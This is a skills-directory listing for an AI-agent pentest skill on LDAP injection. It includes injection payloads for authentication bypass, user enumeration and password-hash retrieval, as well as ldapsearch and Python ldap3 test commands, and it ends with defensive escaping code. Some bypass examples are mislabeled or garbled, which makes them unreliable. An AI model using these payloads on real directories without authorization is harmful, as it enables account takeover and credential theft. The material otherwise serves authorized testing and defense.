Skip to content
Back to skills

Ldap Injection Testing

ASecurity

LDAP injection: filter syntax, blind boolean, auth bypass

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 29, 2026
securitypythonjavabashsqlawstestingapi

Works with

  • cli
  • api
  • mcp

Security analysis

A100/100

Scanned November 29, 2026

npx -y skills add blackfoxxx/kestrel --skill ldap-injection-testing --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Ldap Injection Testing?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Ldap Injection Testing
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/blackfoxxx-ldap-injection-testing/badge)](https://www.skillsdirectory.com/skills/blackfoxxx-ldap-injection-testing)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: ldap-injection-testing
description: "LDAP injection: filter syntax, blind boolean, auth bypass"
version: 1.0.0
mcps: autopen, pentest mcp
---

# LDAP Injection Vulnerability Testing

## Overview

LDAP injection is a vulnerability similar to SQL injection that exploits flaws in the construction of LDAP query statements, potentially leading to information disclosure, privilege bypass, and more. This skill provides methods for detecting, exploiting, and defending against LDAP injection.

## Vulnerability Principle

The application concatenates user input directly into LDAP query statements without sufficient validation and filtering, allowing an attacker to alter the query logic.

**Dangerous code example:**
```java
String filter = "(&(cn=" + userInput + ")(userPassword=" + password + "))";
ldapContext.search(baseDN, filter, ...);
```

## LDAP Basics

### Query Syntax

**Basic queries:**
```
(cn=John)
(objectClass=person)
(&(cn=John)(mail=john@example.com))
(|(cn=John)(cn=Jane))
(!(cn=John))
```

### Special Characters

**Characters that must be escaped:**
- `(` `)` - parentheses
- `*` - wildcard
- `\` - escape character
- `/` - path separator
- `NUL` - null character

## Testing Methods

### 1. Identify LDAP Input Points

**Common features:**
- User login
- User search
- Directory browsing
- Permission verification

### 2. Basic Detection

**Testing special characters:**
```
*)(&
*)(|
*))(
*))%00
```

**Testing logical operators:**
```
*)(&(cn=*
*)(|(cn=*
*))(!(cn=*
```

### 3. Authentication Bypass

**Basic bypass:**
```
Username: *)(&
Password: *
Query: (&(cn=*)(&)(userPassword=*))
```

**More precise bypass:**
```
Username: admin)(&(cn=admin
Password: *))
Query: (&(cn=admin)(&(cn=admin)(userPassword=*)))
```

### 4. Information Disclosure

**Enumerating users:**
```
*)(cn=*
*)(uid=*
*)(mail=*
```

**Retrieving attributes:**
```
*)(|(cn=*)(userPassword=*
*)(|(objectClass=*)(cn=*
```

## Exploitation Techniques

### Authentication Bypass

**Method 1: Logical bypass**
```
Input: *)(&
Query: (&(cn=*)(&)(userPassword=*))
Result: matches all users
```

**Method 2: Comment bypass**
```
Input: admin)(&(cn=admin
Query: (&(cn=admin)(&(cn=admin)(userPassword=*)))
```

**Method 3: Wildcard**
```
Input: *)(|(cn=*)(userPassword=*
Query: (&(cn=*)(|(cn=*)(userPassword=*)(userPassword=*))
```

### Information Disclosure

**Enumerate all users:**
```
Search: *)(cn=*
Result: returns all cn attributes
```

**Obtain password hashes:**
```
Search: *)(|(cn=*)(userPassword=*
Result: returns users and password hashes
```

**Obtain sensitive attributes:**
```
Search: *)(|(cn=*)(mail=*)(telephoneNumber=*
Result: returns multiple sensitive attributes
```

### Privilege Escalation

**Modifying the query logic:**
```
Original: (&(cn=user)(memberOf=CN=Users,DC=example,DC=com))
Injection: user)(memberOf=CN=Admins,DC=example,DC=com))(|(cn=user
Result: may bypass the permission check
```

## Bypass Techniques

### Encoding Bypass

**URL encoding:**
```
*)(& → %2A%29%28%26
*)(| → %2A%29%28%7C
```

**Unicode encoding:**
```
* → *
( → (
) → )
```

### Comment Bypass

**Using comments:**
```
*)(&(cn=*
*)(|(cn=*
```

### Null Character Injection

**Using a NULL byte:**
```
*))%00
```

## Tool Usage

### JXplorer

**Graphical LDAP client:**
- Connect to the LDAP server
- Browse the directory structure
- Run query tests

### ldapsearch

```bash
# Basic query
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(cn=*)"

# Test injection
ldapsearch -x -H ldap://target.com -b "dc=example,dc=com" "(cn=*)(&"
```

### Burp Suite

1. Intercept the LDAP query request
2. Modify the query parameters
3. Observe the response

### Python Script

```python
import ldap3

server = ldap3.Server('ldap://target.com')
conn = ldap3.Connection(server, authentication=ldap3.SIMPLE,
                        user='cn=admin,dc=example,dc=com',
                        password='password')

# Test injection
filter_str = '*)(&'
conn.search('dc=example,dc=com', filter_str)
print(conn.entries)
```

## Verification and Reporting

### Verification Steps

1. Confirm that the LDAP query can be controlled
2. Verify authentication bypass or information disclosure
3. Assess the impact (unauthorized access, data leakage, etc.)
4. Document the complete PoC
5. Record the confirmed vulnerability in the platform via the `report_finding` tool (the sole entry point for recording vulnerabilities on this platform), with fields covering location, type, severity, reproduction steps / PoC, and remediation advice

### Reporting Key Points

- Vulnerability location and input parameter
- How the LDAP query is constructed
- Complete exploitation steps and PoC
- Remediation advice (input validation, parameterized queries, etc.)

## Defensive Measures

### Recommended Solutions

1. **Input Validation**
   ```java
   private static final String[] LDAP_ESCAPE_CHARS = 
       {"\\", "*", "(", ")", "\0", "/"};
   
   public static String escapeLDAP(String input) {
       if (input == null) {
         return null;
       }
       StringBuilder sb = new StringBuilder();
       for (int i = 0; i < input.length(); i++) {
         char c = input.charAt(i);
         if (Arrays.asList(LDAP_ESCAPE_CHARS).contains(String.valueOf(c))) {
           sb.append("\\");
         }
         sb.append(c);
       }
       return sb.toString();
   }
   ```

2. **Parameterized Queries**
   ```java
   // Use the parameterization features of the LDAP API
   String filter = "(&(cn={0})(userPassword={1}))";
   Object[] args = {escapedCN, escapedPassword};
   // Build the query using the API
   ```

3. **Allowlist Validation**
   ```java
   // Only allow specific characters
   if (!input.matches("^[a-zA-Z0-9@._-]+$")) {
       throw new IllegalArgumentException("Invalid input");
   }
   ```

4. **Least Privilege**
   - Use a least-privilege account for the LDAP connection
   - Restrict which attributes can be queried
   - Use access control lists

5. **Error Handling**
   - Do not return detailed error messages
   - Use unified error responses
   - Log errors

## Notes

- Only perform this in an authorized testing environment
- Be aware of syntax differences across different LDAP servers
- Avoid affecting the directory during testing
- Understand the target LDAP server's configuration

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.